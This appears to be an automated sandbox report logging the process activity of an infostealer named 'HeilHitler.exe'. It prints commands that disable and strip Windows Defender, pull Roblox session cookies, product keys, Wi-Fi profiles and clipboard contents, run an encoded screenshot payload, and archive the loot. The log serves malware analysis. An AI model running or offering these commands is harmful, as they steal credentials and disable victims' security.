Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\HeilHitler.exe'	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe a -r -hp"fuck123" "C:\Users\user\AppData\Local\Temp\8KaTn.zip" *"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\HeilHitler.exe'	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0qdpbrpq\0qdpbrpq.cmdline"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES4D0C.tmp" "c:\Users\user\AppData\Local\Temp\0qdpbrpq\CSC1A48FA887436480A8B41407A32798B3.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe C:\Users\user\AppData\Local\Temp\_MEI74322\rar.exe a -r -hp"fuck123" "C:\Users\user\AppData\Local\Temp\8KaTn.zip" *
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get totalphysicalmemory
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

Source: C:\Users\user\Desktop\HeilHitler.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Section loaded: python3.dll	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Section loaded: libffi-7.dll	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Section loaded: sqlite3.dll	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Section loaded: libcrypto-1_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Section loaded: libssl-1_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\HeilHitler.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Section loaded: version.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\tasklist.exe	Section loaded: framedynos.dll
